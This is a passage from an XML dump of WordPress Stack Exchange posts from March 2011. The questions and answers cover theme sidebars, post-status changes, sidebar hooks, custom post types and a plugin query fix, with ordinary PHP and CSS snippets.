your own.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-19T19:31:08.633" CommentCount="4" />
  <row Id="12508" PostTypeId="2" ParentId="12493" CreationDate="2011-03-19T19:34:53.247" Score="0" ViewCount="" Body="&lt;h2&gt;Image_Graph&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pear.php.net/package/Image_Graph&quot; rel=&quot;nofollow&quot;&gt;Image_Graph&lt;/a&gt; provides a set of classes that creates graphs/plots/charts based on (numerical) data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many different plot types are supported: Bar, line, area, step, impulse, scatter, radar, pie, map, candlestick, band, box &amp;amp; whisker and smoothed line, area and radar plots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graph is highly customizable, making it possible to get the exact look and feel that is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output is controlled by a &lt;a href=&quot;http://pear.php.net/package/Image_Canvas/&quot; rel=&quot;nofollow&quot;&gt;Image_Canvas&lt;/a&gt;, which facilitates easy output to many different output formats, amongst others, GD (PNG, JPEG, GIF, WBMP), PDF (using PDFLib), Scalable Vector Graphics (SVG).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;License&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;LGPL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pear.php.net/package/Image_Graph&quot; rel=&quot;nofollow&quot;&gt;http://pear.php.net/package/Image_Graph&lt;/a&gt; (via)&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-19T19:34:53.247" />
  <row Id="12509" PostTypeId="2" ParentId="10594" CreationDate="2011-03-19T19:55:05.570" Score="1" ViewCount="" Body="&lt;p&gt;In short: Don't recommend Wordpress to those who can afford something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you should not offer Wordpress to those customers, that already used it and came to the boundaries of the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that Wordpress is not suitable for customers that are looking for a product with long-term support that has security and maintenance updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that you can not recommend Wordpress to those customers who ask for a tested software. Wordpress is not really tested and a very complicated and unstructured piece of software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you cannot recommend Wordpress for podcasters and video sites. Media Management is lacking according to people of the industry.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-19T19:55:05.570" CommentCount="2" />
  <row Id="12510" PostTypeId="2" ParentId="9625" CreationDate="2011-03-19T20:16:15.783" Score="1" ViewCount="" Body="&lt;p&gt;You should write a custom importer and register the custom fields &lt;strong&gt;before&lt;/strong&gt; the import if WP doesn’t know them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve written an importer for a CSV table with user data and custom user meta fields some time ago. It is quite old and all messages are in German – but it is still working. If you need just an example, I could put it online despite its embarrassing quality.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-19T20:16:15.783" />
  <row Id="12511" PostTypeId="1" AcceptedAnswerId="12555" CreationDate="2011-03-19T20:25:50.243" Score="0" ViewCount="279" Body="&lt;p&gt;I'm using the SoulVision WordPress theme, I'm trying to add a bottom sidebar to the already existing Top, Left and Right sidebars, however, I can't get it to successfully work. Any help would be appreciated. My coding is below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;style.css&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*-- Sidebar settings --*/&#xA;#sidebar {&#xA;    float:right;&#xA;    width:400px;&#xA;    color:#DEDABF;&#xA;    margin-top:0px;&#xA;    position:relative;&#xA;    font-size:11px;&#xA;}&#xA;#sidebar a:hover {&#xA;    color: #C58556;&#xA;    text-decoration: none;&#xA;}&#xA;#sidebar h2 {&#xA;    font-size:14px;&#xA;    font-weight:bold;&#xA;    border:1px solid #8E6140;&#xA;    margin:0;&#xA;    padding:3px 0 6px 8px;&#xA;    background: url(images/h2-bg.jpg) repeat-x left top;&#xA;}&#xA;#sidebar ul li strong {&#xA;    color:#FC0;&#xA;}&#xA;#sidebar-top {&#xA;    width:390px;&#xA;    padding:5px;&#xA;}&#xA;.sidebar-top-box {&#xA;    margin-bottom:10px;&#xA;    padding:0;&#xA;    border-top: none;&#xA;    border-right: 1px solid #8E6140;&#xA;    border-bottom: 1px solid #8E6140;&#xA;    border-left: 1px solid #8E6140;&#xA;}&#xA;.box-padding {&#xA;    padding:7px;&#xA;}&#xA;.sidebar-top-box p {&#xA;    margin-top:3px;&#xA;    margin-bottom:3px;&#xA;}&#xA;#sidebar-top h2 {&#xA;    margin-top:10px;&#xA;    color:#CFA97E;&#xA;}&#xA;#sidebar-top .textwidget {&#xA;    margin-bottom:10px;&#xA;    padding:7px;&#xA;    border-right: 1px solid #A1674F;&#xA;    border-bottom: 1px solid #A1674F;&#xA;    border-left: 1px solid #A1674F;&#xA;}&#xA;#sidebar-top ul ul {&#xA;    list-style-type:none;&#xA;    margin-bottom:10px;&#xA;    padding:10px 7px 7px 12px;&#xA;    border-right: 1px solid #8E6140;&#xA;    border-bottom: 1px solid #8E6140;&#xA;    border-left: 1px solid #8E6140;&#xA;}&#xA;#sidebar-top ul ul li {&#xA;    padding-left:10px;&#xA;    list-style-type:none;&#xA;    background-image:url(images/lidot.gif);&#xA;    background-repeat:no-repeat;&#xA;    background-position:left top;&#xA;    padding-bottom:3px;&#xA;}&#xA;#sidebar-top ul li a {&#xA;    text-decoration:none;&#xA;}&#xA;&#xA;#sidebar-top .box-ads a{&#xA;    text-decoration:none;&#xA;}&#xA;#sidebar-left {&#xA;    float:left;&#xA;    width:215px;&#xA;    padding:0 10px 0 5px;&#xA;}&#xA;#sidebar #sidebar-left h2, #sidebar #sidebar-right h2 {&#xA;    margin:15px 0 10px;&#xA;    color: #CFA97E;&#xA;}&#xA;#sidebar-right {&#xA;    float:right;&#xA;    width:153px;&#xA;    padding:0 5px 0 10px;&#xA;}&#xA;#sidebar-left ul ul, #sidebar-right ul ul {&#xA;    padding-left:5px;&#xA;}&#xA;html, #sidebar ul, #sidebar-wrap ul, .rel-posts ul {&#xA;    margin:0;&#xA;    padding:0;&#xA;}&#xA;#sidebar-right li, #sidebar-left li {&#xA;    background:url(images/lidot.gif) no-repeat left top;&#xA;    list-style:none;&#xA;    margin:0;&#xA;    padding:0 0 5px 8px;&#xA;}&#xA;#sidebar-left  .children, #sidebar-right  .children {&#xA;    padding-top: 8px;&#xA;}&#xA;#sidebar-left  ul.children  li, #sidebar-right  ul.children  li {&#xA;    padding-bottom: 3px;&#xA;    padding-top: 0px;&#xA;}&#xA;#sidebar   h2  a.rsswidget {&#xA;    color: #CFA97E;&#xA;    text-decoration: none;&#xA;}&#xA;#sidebar .rsswidget img {&#xA;    float: left;&#xA;    margin-top: 2px;&#xA;    margin-right: 7px;&#xA;}&#xA;/*-- Bottom Sidebar --*/&#xA;#sidebar-bottom {&#xA;    width:390px;&#xA;    padding:5px;&#xA;}&#xA;.sidebar-bottom-box {&#xA;    margin-bottom:10px;&#xA;    padding:0;&#xA;    border-top: none;&#xA;    border-right: 1px solid #8E6140;&#xA;    border-bottom: 1px solid #8E6140;&#xA;    border-left: 1px solid #8E6140;&#xA;}&#xA;.box-padding {&#xA;    padding:7px;&#xA;}&#xA;.sidebar-bottom-box p {&#xA;    margin-top:3px;&#xA;    margin-bottom:3px;&#xA;}&#xA;#sidebar-bottom h2 {&#xA;    margin-top:10px;&#xA;    color:#CFA97E;&#xA;}&#xA;#sidebar-bottom .textwidget {&#xA;    margin-bottom:10px;&#xA;    padding:7px;&#xA;    border-right: 1px solid #A1674F;&#xA;    border-bottom: 1px solid #A1674F;&#xA;    border-left: 1px solid #A1674F;&#xA;}&#xA;#sidebar-bottom ul ul {&#xA;    list-style-type:none;&#xA;    margin-bottom:10px;&#xA;    padding:10px 7px 7px 12px;&#xA;    border-right: 1px solid #8E6140;&#xA;    border-bottom: 1px solid #8E6140;&#xA;    border-left: 1px solid #8E6140;&#xA;}&#xA;#sidebar-bottom ul ul li {&#xA;    padding-left:10px;&#xA;    list-style-type:none;&#xA;    background-image:url(images/lidot.gif);&#xA;    background-repeat:no-repeat;&#xA;    background-position:left top;&#xA;    padding-bottom:3px;&#xA;}&#xA;#sidebar-bottom ul li a {&#xA;    text-decoration:none;&#xA;}&#xA;&#xA;#sidebar-bottom .box-ads a{&#xA;    text-decoration:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sidebar.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;sidebar-top&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;top-sidebarwidgets&quot;&amp;gt;&#xA;      &amp;lt;?php if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar('Sidebar_top') ) : else : ?&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;sidebar-left&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;l_sidebarwidgets&quot;&amp;gt;&#xA;      &amp;lt;?php if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar('Sidebar_left') ) : else : ?&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;sidebar-right&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;r_sidebarwidgets&quot;&amp;gt;&#xA;      &amp;lt;?php if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar('Sidebar_right') ) : else : ?&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;sidebar-bottom&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;bottom-sidebarwidgets&quot;&amp;gt;&#xA;      &amp;lt;?php if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar('Sidebar_bottom') ) : else : ?&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the following code, my sidebars display like this - i.imgur.com/omMfa.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I change the &lt;strong&gt;sidebar.php&lt;/strong&gt; code to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sidebar&quot;&amp;gt;&#xA;      &amp;lt;div id=&quot;sidebar-top&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;top-sidebarwidgets&quot;&amp;gt;&#xA;          &amp;lt;?php if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar('Sidebar_top') ) : else : ?&amp;gt;&#xA;          &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div style=&quot;clear:both;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&quot;sidebar-bottom&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;bottom-sidebarwidgets&quot;&amp;gt;&#xA;          &amp;lt;?php if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar('Sidebar_bottom') ) : else : ?&amp;gt;&#xA;          &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&quot;sidebar-left&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;l_sidebarwidgets&quot;&amp;gt;&#xA;          &amp;lt;?php if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar('Sidebar_left') ) : else : ?&amp;gt;&#xA;          &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&quot;sidebar-right&quot;&amp;gt;&#xA;        &amp;lt;ul id=&quot;r_sidebarwidgets&quot;&amp;gt;&#xA;          &amp;lt;?php if ( function_exists('dynamic_sidebar') &amp;amp;&amp;amp; dynamic_sidebar('Sidebar_right') ) : else : ?&amp;gt;&#xA;          &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the sidebar will display like this - i.imgur.com/UATs6.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it appears to me that there's an issue when adding it below the existing ones. Any help would be wonderful. The site can be previewed live at &lt;a href=&quot;http://www.itsdaniel0.com&quot; rel=&quot;nofollow&quot;&gt;http://www.itsdaniel0.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Widget Settings&#xA;&#xA;&#xA;&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Sidebar_top',&#xA;        'before_widget' =&amp;gt; '',&#xA;        'after_widget' =&amp;gt; '', &#xA;        'before_title' =&amp;gt; '&amp;lt;h2&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Sidebar_left',&#xA;        'before_widget' =&amp;gt; '', &#xA;        'after_widget' =&amp;gt; '', &#xA;        'before_title' =&amp;gt; '&amp;lt;h2&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Sidebar_right',&#xA;        'before_widget' =&amp;gt; '',&#xA;        'after_widget' =&amp;gt; '', &#xA;        'before_title' =&amp;gt; '&amp;lt;h2&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ));&#xA;&#xA;if ( function_exists('register_sidebar') )&#xA;    register_sidebar(array(&#xA;        'name' =&amp;gt; 'Sidebar_bottom',&#xA;        'before_widget' =&amp;gt; '',&#xA;        'after_widget' =&amp;gt; '', &#xA;        'before_title' =&amp;gt; '&amp;lt;h2&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ));&#xA;&#xA;//GsL98DGtpo0W&#xA;&#xA;add_theme_support( 'post-formats', array( 'aside', 'gallery', 'video' ) );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4063" LastEditorUserId="4063" LastEditorDisplayName="" LastEditDate="2011-03-19T22:43:52.090" LastActivityDate="2011-03-20T15:47:03.783" Title="Add Dynamic Sidebar to Exisiting WordPress Theme" Tags="&lt;theme-development&gt;&lt;themes&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="12512" PostTypeId="1" CreationDate="2011-03-19T20:58:05.817" Score="0" ViewCount="206" Body="&lt;p&gt;I am trying to figure out how to write the code that will allow me to do the following with pages of a WordPress blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;To change a post status, you get the post, change its status field, then call wp_update_post with the new post object&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest existing plugin is &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-hide-pages/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-hide-pages/&lt;/a&gt; - Except that this plugin uses wp-list-pages and it only hides them and does not actually move them from publish to draft.  I need to have something where I specify which page ID's I want to list (about 15 total) and then give the user the ability to select which ones will be published or which ones will be a draft - this will remove from menu and will also remove page from site as well... &lt;/p&gt;&#xA;" OwnerUserId="4064" LastEditorUserId="4064" LastEditorDisplayName="" LastEditDate="2011-03-20T02:25:40.137" LastActivityDate="2011-03-20T02:25:40.137" Title="How to update page status from publish to draft and draft to publish" Tags="&lt;page&gt;&lt;post-status&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12513" PostTypeId="1" CreationDate="2011-03-19T21:09:38.193" Score="0" ViewCount="122" Body="&lt;p&gt;I'm looking for a way to add some content to the top of the sidebar when it get's loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried hooking onto the get_sidebar action as &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;referenced here&lt;/a&gt;, but it seems to override the sidebar call and load my function instead? Is there a better solution to doing this beside creating widgets? I'd like to avoid that if possible, but I'm not totally against the idea, a hook would be best :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what my hook looks like:&#xA;&lt;code&gt;add_action('get_sidebar', 'social_links');&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; the function called is just spitting a list of social media links, nothing too fancy...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Running latest version (3.1) on a MAMP server locally)&lt;/p&gt;&#xA;" OwnerUserId="4065" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-20T08:18:21.847" LastActivityDate="2011-03-20T08:18:21.847" Title="Hooking a function onto the sidebar?" Tags="&lt;sidebar&gt;&lt;hooks&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="12514" PostTypeId="1" CreationDate="2011-03-19T21:18:50.457" Score="1" ViewCount="118" Body="&lt;p&gt;I'm using the List Category Posts plugin, and it isn't listing posts marked private, even if the appropriate user is logged in. Is there a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="4066" LastActivityDate="2011-03-19T23:22:28.703" Title="List Category Posts not showing posts marked private to logged-in users" Tags="&lt;plugin-list-category-post&gt;&lt;private&gt;" AnswerCount="1" />
  <row Id="12515" PostTypeId="2" ParentId="12513" CreationDate="2011-03-19T22:16:07.560" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_sidebar&lt;/code&gt; hook is called on the function that gets the sidebar template file so that's not the right way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are not up to creating a widget you can convert your function to a shortcode and use it in the built-in text widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How?&lt;/strong&gt; simple, you say your function is named &lt;code&gt;social_links&lt;/code&gt; then add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('SL', 'social_links'); &#xA;// and to make sure Wordpress calls shortcode in sidebars&#xA;add_filter('widget_text', 'do_shortcode');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage?&lt;/strong&gt; once again simple, add a text widget and put &lt;code&gt;[SL]&lt;/code&gt; in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just make sure that your function returns the output instead of echoing it. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T22:16:07.560" CommentCount="1" />
  <row Id="12516" PostTypeId="1" CreationDate="2011-03-19T22:17:20.923" Score="0" ViewCount="120" Body="&lt;p&gt;We are Customising Wordpress Admin to build a biz application. WE are using Wordpress as a base to build our application. We used the Add Post page as Add Customer - customised some fields and we posted it to the db using wp_post . Now we want to add two more menu's like Add Vendor, Add Employees ( which should work very similar to the Post Page) and should go to different tables .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We considered Wordpress Admin for Add customer because, we could automatically get Autodraft, commenting, Tag etc., Now we want the same for the other screens that we plan to add. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when we are writing code for the new screens, by default it is getting posted to wp_post table where as it has to go to our new tables that we have designed. We are not sure what is the right approach. Pls advice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance&lt;/p&gt;&#xA;" OwnerUserId="4067" LastActivityDate="2011-03-19T22:37:43.260" Title="Customising Word press Admin - Add Post Page functionality to another similar page" Tags="&lt;wp-admin&gt;" AnswerCount="2" />
  <row Id="12517" PostTypeId="2" ParentId="12516" CreationDate="2011-03-19T22:28:54.570" Score="1" ViewCount="" Body="&lt;p&gt;You want to use Custom Post Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Post_Types#Custom_Types&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Post_Types#Custom_Types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have the usage of non default tables have a look at the pods framework.&#xA;&lt;a href=&quot;http://podscms.org/&quot; rel=&quot;nofollow&quot;&gt;http://podscms.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-19T22:28:54.570" CommentCount="1" />
  <row Id="12518" PostTypeId="2" ParentId="12512" CreationDate="2011-03-19T22:29:56.080" Score="2" ViewCount="" Body="&lt;p&gt;Here is a function that changes post status&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;$post_id - The ID of the post you'd like to change.&#xA;$status -  The post status publish|pending|draft|private|static|object|attachment|inherit|future|trash.&#xA;*/&#xA;function change_post_status($post_id,$status){&#xA;    $current_post = get_post( $post_id, 'ARRAY_A' );&#xA;    $current_post['post_status'] = $status;&#xA;    wp_update_post($current_post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simple call the function and pass the post id and the new status you want it to have for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;change_post_status(12,'private');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T22:29:56.080" CommentCount="7" />
  <row Id="12519" PostTypeId="2" ParentId="12516" CreationDate="2011-03-19T22:37:43.260" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@sridhar:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like all you need might be Custom Post Types; are you familiar with those? Or do I misunderstand and you have more advanced needs?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-19T22:37:43.260" />
  <row Id="12520" PostTypeId="2" ParentId="12514" CreationDate="2011-03-19T23:22:28.703" Score="1" ViewCount="" Body="&lt;p&gt;List Category Posts plugin uses &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;get_posts&lt;/a&gt; to actually get the posts and its default post_status is publish and that is way you won't get any private posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &quot;Fix&quot; it you can edit the file named include/CatList.php of the plugin and add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lcp_query .= '&amp;amp;post_status=private';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before line 51 before &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;lcp_categories_posts = get_posts($lcp_query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will get you only private posts and to really &quot;FIX&quot; it you need to add this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_user_logged_in()){&#xA;    parse_str( $lcp_query, $lcp_query );&#xA;    $lcp_query['post_status'] = array('publish','private');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on line 51 again before &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;lcp_categories_posts = get_posts($lcp_query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and offer the author of the plugin this as a patch so the next time he updates you want lose this fix.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-19T23:22:28.703" CommentCount="3" />
  <row Id="12521" PostTypeId="1" CreationDate="2011-03-20T00:20:49.123" Score="0" ViewCount="83" Body="&lt;p&gt;I want three sections on a page (secA, secB, secC). They are aligned as biiig buttons on top of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do &lt;em&gt;not&lt;/em&gt; require any content themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one of them is clicked, the smaller menu beneath it is filled with contents as configures in Appearance &gt; Menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. clicking on the big button &quot;secA&quot; would fill the smaller menu below with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;secA-News (a list of posts that are in the category &quot;sa-news&quot;)&lt;/h1&gt;&#xA;&#xA;&lt;h1&gt;Page1 (a &quot;page&quot; as stated in the WP backend)&lt;/h1&gt;&#xA;&#xA;&lt;h1&gt;Page2 (as above)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The custom menus already work, but how do I best make the relation to the sections?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How do I check for which section is currently active? (in order to know which of the custom menus I have to display?)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I currently have - which doesn't work, as pages don't have categories. Also, &lt;em&gt;posts&lt;/em&gt; which are only in &lt;em&gt;sub-categories&lt;/em&gt; of the mentioned sections are not found by that code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;header&quot;&amp;gt;       &#xA;            &amp;lt;div id=&quot;metanav&quot;&amp;gt;&#xA;                &amp;lt;?php wp_nav_menu(array('container'=&amp;gt;'ul','menu'=&amp;gt; 'METANAV' )); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- header --&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;nav&quot;&amp;gt;&#xA;        &amp;lt;?php   $section = '';&#xA;                if  ( is_category( 'business' ) ) { $section = 'sa-nav'; }&#xA;                elseif  ( is_category( 'private' ) ) { $section = 'sb-nav';  }&#xA;                elseif  ( is_category( 'social' )) { $section = 'sc-nav';   }&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;?php wp_nav_menu(array('container'=&amp;gt;'ul','menu'=&amp;gt; $section )); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- nav --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4069" LastActivityDate="2011-03-20T00:20:49.123" Title="How can I create a non-dropdown sub-menu to a bigger meta navigation (&quot;website-section&quot;)?" Tags="&lt;themes&gt;&lt;custom-menus&gt;&lt;menus&gt;&lt;subdirectories&gt;" CommentCount="2" />
  <row Id="12522" PostTypeId="2" ParentId="12513" CreationDate="2011-03-20T03:03:16.267" Score="0" ViewCount="" Body="&lt;p&gt;In most of the sidebars, you'll find the call to the &lt;code&gt;wp_head()&lt;/code&gt; action hook, where you can hook into the (mostly bottom) of a sidebar. &lt;code&gt;get_sidebar()&lt;/code&gt; calls the sidebar you want in your template (this allows to have different sidebars). If you want to add stuff to eg. the top of your sidebar, you're free to add some action hook on top of your sidebar, or in front of the call to &lt;code&gt;get_sidebar()&lt;/code&gt;. Example: just put &lt;code&gt;do_action( 'my_hook_above_every_sidebar' );&lt;/code&gt; in front of the call to get your sidebar. You can then hook everything into this call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_before_my_siderbar() &#xA;{&#xA;  echo 'I exist above a sidebar &amp;amp;amp; I\'m a simple string!!';&#xA;}&#xA;add_action( 'my_hook_above_every_sidebar', 'add_before_my_siderbar' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-20T03:03:16.267" />
  <row Id="12524" PostTypeId="2" ParentId="12488" CreationDate="2011-03-20T05:50:34.470" Score="0" ViewCount="" Body="&lt;p&gt;As requested, here it is as an answer. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say yes, but WP.org seems to be a bit anal on GPLv2-and-only-GPLv2. It's like they can't be bothered to understand that there are OSS licenses that are more free than what the FSF promotes.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-03-20T05:50:34.470" />
